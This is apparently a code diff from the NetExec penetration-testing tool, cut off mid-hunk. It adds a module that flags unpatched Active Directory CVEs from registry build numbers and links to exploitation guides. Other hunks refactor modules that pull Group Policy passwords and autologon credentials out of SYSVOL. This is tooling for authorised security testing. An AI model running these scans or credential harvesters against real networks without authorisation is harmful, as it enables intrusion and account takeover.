||||
from impacket.nmb import NetBIOSError
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Initial module by: Mauriceter
|
||||
Additional authors: azoxlpf, Defte, YOLOP0wn, pol4ir, NeffIsBack
|
||||
"""
|
||||
name = "enum_cve"
|
||||
description = "Enumerate common (useful) CVEs by querying the registry for the OS version and UBR."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
context = context
|
||||
self.module_options = module_options
|
||||
self.cve = "all"
|
||||
self.exploitation_details = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Be aware that these checks solely rely on the OS version and UBR reported in the registry,
|
||||
and do not check for the actual presence of the vulnerable components or mitigations.
|
||||
Test the attack yourself to verify the host is actually vulnerable.
|
||||
|
||||
Currently supported CVEs:
|
||||
- CVE-2025-33073 (NTLM Reflection)
|
||||
- CVE-2025-58726 (Ghost SPN)
|
||||
- CVE-2025-54918 (NTLM MIC Bypass)
|
||||
- CVE-2025-53779 (BadSuccessor)
|
||||
- CVE-2024-49019 (EKUwu / ESC15)
|
||||
- CVE-2026-54121 (Certighost)
|
||||
- CVE-2026-27912 (ResetNightmare)
|
||||
- CVE-2026-102217 (PetitPotam WebDAV coercion)
|
||||
|
||||
CVE Filter for specific CVE number (default: All)
|
||||
EXPLOITATION Also provide sources for exploitation details (default: False)
|
||||
"""
|
||||
self.listener = None
|
||||
if "CVE" in module_options:
|
||||
self.cve = module_options["CVE"].lower()
|
||||
if "EXPLOITATION" in module_options:
|
||||
self.exploitation_details = module_options["EXPLOITATION"].lower() in ["true", "1", "yes"]
|
||||
|
||||
def is_vulnerable(self, major, minor, build, ubr, msrc):
|
||||
key = (major, minor, build)
|
||||
min_patched_ubr = msrc.get(key)
|
||||
if min_patched_ubr is None:
|
||||
return None # Unknown product
|
||||
if ubr is None:
|
||||
return None
|
||||
return ubr < min_patched_ubr
|
||||
|
||||
def on_login(self, context, connection):
|
||||
connection.trigger_winreg()
|
||||
|
||||
try:
|
||||
# Connect to RemoteRegistry to read UBR from registry
|
||||
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
|
||||
# Reading UBR from registry
|
||||
hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
|
||||
hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"]
|
||||
ubr = rrp.hBaseRegQueryValue(dce, hKey, "UBR")[1]
|
||||
dce.disconnect()
|
||||
if not ubr:
|
||||
context.log.info("Could not determine OS version from registry")
|
||||
return
|
||||
else:
|
||||
context.log.debug(f"OS version from registry: {connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}")
|
||||
except DCERPCException as e:
|
||||
context.log.fail(f"DCERPC error: {e}")
|
||||
return
|
||||
except SessionError as e:
|
||||
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
context.log.info(f"RemoteRegistry is probably deactivated: {e}")
|
||||
else:
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
return
|
||||
except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e:
|
||||
context.log.fail(f"DCERPC transport error: {e.__class__.__name__}: {e}")
|
||||
return
|
||||
|
||||
# Check each CVE
|
||||
for cve in self.CVE_PATCHES:
|
||||
if self.cve == "all" or self.cve.lower() == cve.lower():
|
||||
if self.CVE_PATCHES[cve].get("dc_only") and not connection.is_host_dc():
|
||||
context.log.info(f"Skipping {self.CVE_PATCHES[cve]['alias']} - only applicable to Domain Controllers")
|
||||
continue
|
||||
if self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.CVE_PATCHES[cve]["patches"]):
|
||||
if connection.conn.isSigningRequired() and "signing_message" in self.CVE_PATCHES[cve]: # Special conditional message for some CVEs
|
||||
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['signing_message']}")
|
||||
else:
|
||||
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['message']}")
|
||||
if self.exploitation_details:
|
||||
context.log.highlight(f"Exploitation details: {self.CVE_PATCHES[cve]['exploitation']}")
|
||||
else:
|
||||
context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR {ubr} >= {self.CVE_PATCHES[cve]['patches'].get((connection.server_os_major, connection.server_os_minor, connection.server_os_build), 'unknown')})")
|
||||
|
||||
# patches: key = (major, minor, build), value = minimum patched UBR
|
||||
CVE_PATCHES = {
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073
|
||||
"CVE-2025-33073": {
|
||||
"alias": "NTLM reflection",
|
||||
"patches": {
|
||||
(10, 0, 10240): 21034, # Windows 10 1507
|
||||
(10, 0, 14393): 8148, # Windows Server 2016 / Win10 1607
|
||||
(10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809
|
||||
(10, 0, 19044): 5965, # Windows 10 21H2
|
||||
(10, 0, 20348): 3807, # Windows Server 2022
|
||||
(10, 0, 22621): 5472, # Windows 11 22H2
|
||||
(10, 0, 25398): 1665, # Windows Server 2022 23H2
|
||||
(10, 0, 26100): 4270, # Windows Server 2025 / Win11 24H2
|
||||
},
|
||||
"message": "Relay possible from SMB to any protocol",
|
||||
"signing_message": "can relay SMB to other protocols except SMB",
|
||||
"exploitation": "https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58726
|
||||
"CVE-2025-58726": {
|
||||
"alias": "Ghost SPN",
|
||||
"patches": {
|
||||
(6, 0, 6003): 23571, # Windows Server 2008 SP2
|
||||
(6, 1, 7601): 27974, # Windows Server 2008 R2 SP1
|
||||
(6, 2, 9200): 25722, # Windows Server 2012
|
||||
(6, 3, 9600): 22824, # Windows Server 2012 R2
|
||||
(10, 0, 10240): 21161, # Windows 10 1507
|
||||
(10, 0, 14393): 8519, # Windows Server 2016 / Win10 1607
|
||||
(10, 0, 17763): 7919, # Windows Server 2019 / Win10 1809
|
||||
(10, 0, 19044): 6456, # Windows 10 21H2
|
||||
(10, 0, 20348): 4294, # Windows Server 2022
|
||||
(10, 0, 22621): 6060, # Windows 11 22H2
|
||||
(10, 0, 25398): 1913, # Windows Server 2022 23H2
|
||||
(10, 0, 26100): 6899, # Windows Server 2025 / Win11 24H2
|
||||
(10, 0, 26200): 6899, # Windows 11 25H2
|
||||
},
|
||||
"message": "Relay possible from SMB using Ghost SPN for Kerberos reflection",
|
||||
"signing_message": "Relay possible from SMB using Ghost SPN (non HOST/CIFS) for Kerberos reflection to other protocols except SMB",
|
||||
"exploitation": "https://www.semperis.com/blog/exploiting-ghost-spns-and-kerberos-reflection-for-smb-server-privilege-elevation/",
|
||||
},
|
||||
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918
|
||||
# https://decoder.cloud/2025/11/24/reflecting-your-authentication-when-windows-ends-up-talking-to-itself/
|
||||
"CVE-2025-54918": {
|
||||
"alias": "NTLM MIC Bypass",
|
||||
"dc_only": True,
|
||||
"patches": {
|
||||
(6, 0, 6003): 23529, # Windows Server 2008 SP2
|
||||
(6, 1, 7601): 27929, # Windows Server 2008 R2 SP1
|
||||
(6, 2, 9200): 25675, # Windows Server 2012
|
||||
(6, 3, 9600): 22774, # Windows Server 2012 R2
|
||||
(10, 0, 10240): 21128, # Windows 10 1507
|
||||
(10, 0, 14393): 8422, # Windows Server 2016
|
||||
(10, 0, 17763): 7792, # Windows Server 2019 / Win10 1809
|
||||
(10, 0, 19044): 6332, # Windows 10 21H2
|
||||
(10, 0, 20348): 4171, # Windows Server 2022
|
||||
(10, 0, 22621): 5909, # Windows 11 22H2
|
||||
(10, 0, 22631): 5909, # Windows 11 23H2
|
||||
(10, 0, 26100): 6508, # Windows Server 2025 / Win11 24H2
|
||||
},
|
||||
"message": "Note that without CVE-2025-33073 only Windows Server 2025 is exploitable",
|
||||
"exploitation": "https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53779
|
||||
"CVE-2025-53779": {
|
||||
"alias": "BadSuccessor",
|
||||
"dc_only": True,
|
||||
"patches": {
|
||||
(10, 0, 26100): 4851, # Windows Server 2025 / Win11 24H2
|
||||
},
|
||||
"message": "Escalation to Domain Admin possible via dMSA Kerberos abuse",
|
||||
"exploitation": "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019
|
||||
"CVE-2024-49019": {
|
||||
"alias": "ESC15 / EKUwu",
|
||||
"patches": {
|
||||
(6, 0, 6003): 22966, # Windows Server 2008 SP2
|
||||
(6, 1, 7601): 27415, # Windows Server 2008 R2 SP1
|
||||
(6, 2, 9200): 25165, # Windows Server 2012
|
||||
(6, 3, 9600): 22267, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 7515, # Windows Server 2016
|
||||
(10, 0, 17763): 6532, # Windows Server 2019 / Win10 1809
|
||||
(10, 0, 20348): 2849, # Windows Server 2022
|
||||
(10, 0, 25398): 1251, # Windows Server 2022 23H2
|
||||
(10, 0, 26100): 2314, # Windows Server 2025 / Win11 24H2
|
||||
},
|
||||
"message": "If host is an AD CS / CA server, it may be vulnerable to ESC15",
|
||||
"exploitation": "https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121
|
||||
"CVE-2026-54121": {
|
||||
"alias": "Certighost",
|
||||
"patches": {
|
||||
(6, 2, 9200): 26226, # Windows Server 2012
|
||||
(6, 3, 9600): 23291, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 9339, # Windows Server 2016
|
||||
(10, 0, 17763): 9020, # Windows Server 2019
|
||||
(10, 0, 20348): 5386, # Windows Server 2022
|
||||
(10, 0, 26100): 33158, # Windows Server 2025
|
||||
},
|
||||
"message": "If host is an AD CS / CA server, it may be vulnerable to Certighost",
|
||||
"exploitation": "https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912
|
||||
"CVE-2026-27912": {
|
||||
"alias": "ResetNightmare",
|
||||
"dc_only": True,
|
||||
"patches": {
|
||||
(6, 2, 9200): 26026, # Windows Server 2012
|
||||
(6, 3, 9600): 23132, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 9060, # Windows Server 2016
|
||||
(10, 0, 17763): 8644, # Windows Server 2019
|
||||
(10, 0, 20348): 5020, # Windows Server 2022
|
||||
(10, 0, 25398): 2274, # Windows Server 2022 23H2
|
||||
(10, 0, 26100): 32690, # Windows Server 2025
|
||||
},
|
||||
"message": "Password reset of any account possible via Kerberos change password abuse",
|
||||
"exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102217
|
||||
"CVE-2026-102217": {
|
||||
"alias": "PetitPotam WebDAV coercion",
|
||||
"patches": {
|
||||
(6, 2, 9200): 26434, # Windows Server 2012
|
||||
(6, 3, 9600): 23470, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 9612, # Windows Server 2016
|
||||
(10, 0, 17763): 9376, # Windows Server 2019
|
||||
(10, 0, 19044): 7807, # Windows 10 21H2
|
||||
(10, 0, 19045): 7807, # Windows 10 22H2
|
||||
(10, 0, 20348): 5761, # Windows Server 2022
|
||||
(10, 0, 22631): 7652, # Windows 11 23H2
|
||||
(10, 0, 26100): 33650, # Windows Server 2025 (Win11 24H2 ships the same build patched at 9711)
|
||||
(10, 0, 26200): 9711, # Windows 11 25H2
|
||||
(10, 0, 26300): 9711, # Windows 11 26H2
|
||||
(10, 0, 28000): 3231, # Windows 11 26H1
|
||||
},
|
||||
"message": "PetitPotam (EFSRPC) can coerce to a WebDAV listener, the HTTP authentication can be relayed to LDAP/LDAPS",
|
||||
"exploitation": "https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient",
|
||||
},
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -63,6 +64,6 @@ class NXCModule:
|
||||
context.log.highlight("\t" + d)
|
||||
data += "\t" + d + "\n"
|
||||
|
||||
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
log_name = sanitize_path_component(f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
write_log(data, log_name)
|
||||
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
|
||||
@@ -32,7 +32,7 @@ class NXCModule:
|
||||
|
||||
if connection.admin_privs:
|
||||
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
|
||||
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
|
||||
srvs = [srv for srv in res if srv["Local Login"] is not None]
|
||||
if not srvs:
|
||||
self.context.log.fail("No linked servers found.")
|
||||
return
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5 import transport, even6
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dcerpc.v5 import even6
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dcerpc.v5.epm import hept_map
|
||||
from nxc.helpers.even6_parser import ResultSet
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -110,18 +111,7 @@ class NXCModule:
|
||||
else:
|
||||
msevenclass = MSEven6Trigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
msevenclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
pipe="eventlog"
|
||||
)
|
||||
msevenclass.connect(connection, target)
|
||||
for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
|
||||
if record is None:
|
||||
continue
|
||||
@@ -142,37 +132,21 @@ class MSEven6Trigger:
|
||||
self.context = context
|
||||
self.dce = None
|
||||
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
||||
rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp"))
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
rpctransport.setRemoteHost(target)
|
||||
self.dce = rpctransport.get_dce_rpc()
|
||||
if doKerberos:
|
||||
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
def connect(self, connection, target):
|
||||
binding = hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp")
|
||||
self.context.log.debug(f"Connecting to {target}...")
|
||||
try:
|
||||
self.dce.connect()
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return
|
||||
try:
|
||||
self.dce.bind(even6.MSRPC_UUID_EVEN6)
|
||||
self.dce = NXCRPCConnection(connection).connect(
|
||||
None,
|
||||
even6.MSRPC_UUID_EVEN6,
|
||||
target_ip=target,
|
||||
string_binding=binding,
|
||||
auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
)
|
||||
self.context.log.debug("[+] Successfully bound!")
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return
|
||||
self.context.log.debug("[+] Successfully bound!")
|
||||
|
||||
def query(self, path, query, limit):
|
||||
req = even6.EvtRpcRegisterLogQuery()
|
||||
|
||||
@@ -22,6 +22,7 @@ class NXCModule:
|
||||
Module options get parsed here. Additionally, put the modules usage here as well
|
||||
"""
|
||||
# Put "No options available" in the docstring if there are no options for the module
|
||||
# Return False to abort the run if options are invalid (log with context.log.fail first).
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""Concurrent.
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
from dploot.lib.target import Target
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
|
||||
|
||||
class NXCModule:
|
||||
|
||||
@@ -63,7 +63,7 @@ class NXCModule:
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
|
||||
context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
|
||||
|
||||
def filter_answer(self, context, answers):
|
||||
# No option to filter
|
||||
|
||||
@@ -2,29 +2,18 @@
|
||||
# Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
|
||||
# module by @mpgn_x64
|
||||
import re
|
||||
import codecs
|
||||
import socket
|
||||
from datetime import datetime
|
||||
from struct import unpack
|
||||
|
||||
from impacket.structure import Structure
|
||||
from ldap3 import LEVEL
|
||||
from os.path import expanduser
|
||||
from os.path import expanduser, join
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
def get_dns_zones(connection, root, debug=False):
|
||||
connection.search(root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"])
|
||||
zones = []
|
||||
for entry in connection.response:
|
||||
if entry["type"] != "searchResEntry":
|
||||
continue
|
||||
zones.append(entry["attributes"]["dc"])
|
||||
return zones
|
||||
|
||||
|
||||
def ldap2domain(baseDN):
|
||||
return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
|
||||
|
||||
@@ -108,7 +97,7 @@ class NXCModule:
|
||||
recordname = site["name"]
|
||||
|
||||
if "dnsRecord" in site:
|
||||
if isinstance(site["dnsRecord"], list): # noqa: SIM108
|
||||
if isinstance(site["dnsRecord"], list):
|
||||
records = [bytes(r) for r in site["dnsRecord"]]
|
||||
else:
|
||||
records = [bytes(site["dnsRecord"])]
|
||||
@@ -153,13 +142,13 @@ class NXCModule:
|
||||
outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
|
||||
|
||||
context.log.highlight(f"Found {len(outdata)} records")
|
||||
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
with codecs.open(path, "w", "utf-8") as outfile:
|
||||
path = expanduser(join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")))
|
||||
with open(path, "w") as outfile:
|
||||
for row in outdata:
|
||||
if self.showhosts:
|
||||
outfile.write(f"{row['name'] + '.' + connection.domain}\n")
|
||||
outfile.write(f"{row['name'] + '.' + zone}\n")
|
||||
elif self.showall:
|
||||
outfile.write(f"{row['name'] + '.' + connection.domain} \t {row['value']}\n")
|
||||
outfile.write(f"{row['name'] + '.' + zone} \t {row['value']}\n")
|
||||
else:
|
||||
outfile.write(f"{row['value']}\n")
|
||||
context.log.success(f"Dumped {len(outdata)} records to {path}")
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
import json
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Get the scriptPath attribute of users
|
||||
|
||||
Module by @wyndoo
|
||||
"""
|
||||
name = "get-scriptpath"
|
||||
description = "Get the scriptPath attribute of all users."
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
FILTER Apply the FILTER (grep-like) (default: '')
|
||||
OUTPUTFILE Path to a file to save the results (default: None)
|
||||
"""
|
||||
self.filter = ""
|
||||
self.outputfile = None
|
||||
|
||||
if "FILTER" in module_options:
|
||||
self.filter = module_options["FILTER"]
|
||||
|
||||
if "OUTPUTFILE" in module_options:
|
||||
self.outputfile = module_options["OUTPUTFILE"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Building the search filter
|
||||
resp = connection.search(
|
||||
searchFilter="(scriptPath=*)",
|
||||
attributes=["sAMAccountName", "scriptPath"]
|
||||
)
|
||||
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
answers = parse_result_attributes(resp)
|
||||
context.log.debug(f"Filtering for scriptPath containing: {self.filter}")
|
||||
filtered_answers = list(filter(lambda x: self.filter in x["scriptPath"], answers))
|
||||
|
||||
if filtered_answers:
|
||||
context.log.success("Found the following attributes: ")
|
||||
for answer in filtered_answers:
|
||||
context.log.highlight(f"User: {answer['sAMAccountName']:<20} ScriptPath: {answer['scriptPath']}")
|
||||
|
||||
# Save the results to a file
|
||||
if self.outputfile:
|
||||
self.save_to_file(context, filtered_answers)
|
||||
else:
|
||||
context.log.fail("No results found after filtering.")
|
||||
|
||||
def save_to_file(self, context, answers):
|
||||
"""Save the results to a JSON file."""
|
||||
try:
|
||||
# Format answers as a list of dictionaries for JSON output
|
||||
json_data = [{"sAMAccountName": answer["sAMAccountName"], "scriptPath": answer["scriptPath"]} for answer in answers]
|
||||
|
||||
# Save the JSON data to the specified file
|
||||
with open(self.outputfile, "w") as f:
|
||||
json.dump(json_data, f, indent=4)
|
||||
context.log.success(f"Results successfully saved to {self.outputfile}")
|
||||
|
||||
except Exception as e:
|
||||
context.log.error(f"Failed to save results to file: {e}")
|
||||
@@ -1,6 +1,7 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
import json
|
||||
|
||||
@@ -30,6 +31,6 @@ class NXCModule:
|
||||
|
||||
data.append(cards)
|
||||
|
||||
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
log_name = sanitize_path_component(f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
write_log(json.dumps(data), log_name)
|
||||
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
|
||||
@@ -15,45 +15,40 @@ class NXCModule:
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
"""No options available."""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share["name"] == "SYSVOL" and "READ" in share["access"]:
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for Registry.xml")
|
||||
context.log.display("Searching SYSVOL share for Registry.xml")
|
||||
|
||||
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
|
||||
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
if xml.findall('.//Properties[@name="DefaultPassword"]'):
|
||||
usernames = []
|
||||
passwords = []
|
||||
domains = []
|
||||
|
||||
if xml.findall('.//Properties[@name="DefaultPassword"]'):
|
||||
usernames = []
|
||||
passwords = []
|
||||
domains = []
|
||||
xml_section = xml.findall(".//Properties")
|
||||
|
||||
xml_section = xml.findall(".//Properties")
|
||||
for section in xml_section:
|
||||
attrs = section.attrib
|
||||
|
||||
for section in xml_section:
|
||||
attrs = section.attrib
|
||||
if attrs["name"] == "DefaultPassword":
|
||||
passwords.append(attrs["value"])
|
||||
|
||||
if attrs["name"] == "DefaultPassword":
|
||||
passwords.append(attrs["value"])
|
||||
if attrs["name"] == "DefaultUserName":
|
||||
usernames.append(attrs["value"])
|
||||
|
||||
if attrs["name"] == "DefaultUserName":
|
||||
usernames.append(attrs["value"])
|
||||
if attrs["name"] == "DefaultDomainName":
|
||||
domains.append(attrs["value"])
|
||||
|
||||
if attrs["name"] == "DefaultDomainName":
|
||||
domains.append(attrs["value"])
|
||||
|
||||
if usernames or passwords:
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Usernames: {usernames}")
|
||||
context.log.highlight(f"Domains: {domains}")
|
||||
context.log.highlight(f"Passwords: {passwords}")
|
||||
if usernames or passwords:
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Usernames: {usernames}")
|
||||
context.log.highlight(f"Domains: {domains}")
|
||||
context.log.highlight(f"Passwords: {passwords}")
|
||||
+57
-62
@@ -21,82 +21,77 @@ class NXCModule:
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share["name"].lower() == "sysvol" and "READ" in share["access"]:
|
||||
sysvol = share["name"]
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for potential XML files containing passwords")
|
||||
context.log.display("Searching SYSVOL share for potential XML files containing passwords")
|
||||
|
||||
paths = connection.spider(
|
||||
sysvol,
|
||||
pattern=[
|
||||
"Groups.xml",
|
||||
"Services.xml",
|
||||
"Scheduledtasks.xml",
|
||||
"DataSources.xml",
|
||||
"Printers.xml",
|
||||
"Drives.xml",
|
||||
],
|
||||
)
|
||||
paths = connection.spider(
|
||||
"SYSVOL",
|
||||
pattern=[
|
||||
"Groups.xml",
|
||||
"Services.xml",
|
||||
"Scheduledtasks.xml",
|
||||
"DataSources.xml",
|
||||
"Printers.xml",
|
||||
"Drives.xml",
|
||||
],
|
||||
)
|
||||
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile(sysvol, path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
sections = []
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
sections = []
|
||||
|
||||
if "Groups.xml" in path:
|
||||
sections.append("./User/Properties")
|
||||
if "Groups.xml" in path:
|
||||
sections.append("./User/Properties")
|
||||
|
||||
elif "Services.xml" in path:
|
||||
sections.append("./NTService/Properties")
|
||||
elif "Services.xml" in path:
|
||||
sections.append("./NTService/Properties")
|
||||
|
||||
elif "ScheduledTasks.xml" in path:
|
||||
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
|
||||
elif "ScheduledTasks.xml" in path:
|
||||
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
|
||||
|
||||
elif "DataSources.xml" in path:
|
||||
sections.append("./DataSource/Properties")
|
||||
elif "DataSources.xml" in path:
|
||||
sections.append("./DataSource/Properties")
|
||||
|
||||
elif "Printers.xml" in path:
|
||||
sections.append("./SharedPrinter/Properties")
|
||||
elif "Printers.xml" in path:
|
||||
sections.append("./SharedPrinter/Properties")
|
||||
|
||||
elif "Drives.xml" in path:
|
||||
sections.append("./Drive/Properties")
|
||||
elif "Drives.xml" in path:
|
||||
sections.append("./Drive/Properties")
|
||||
|
||||
for section in sections:
|
||||
xml_section = xml.findall(section)
|
||||
for attr in xml_section:
|
||||
props = attr.attrib
|
||||
for section in sections:
|
||||
xml_section = xml.findall(section)
|
||||
for attr in xml_section:
|
||||
props = attr.attrib
|
||||
|
||||
if "cpassword" in props:
|
||||
for user_tag in [
|
||||
"userName",
|
||||
"accountName",
|
||||
"runAs",
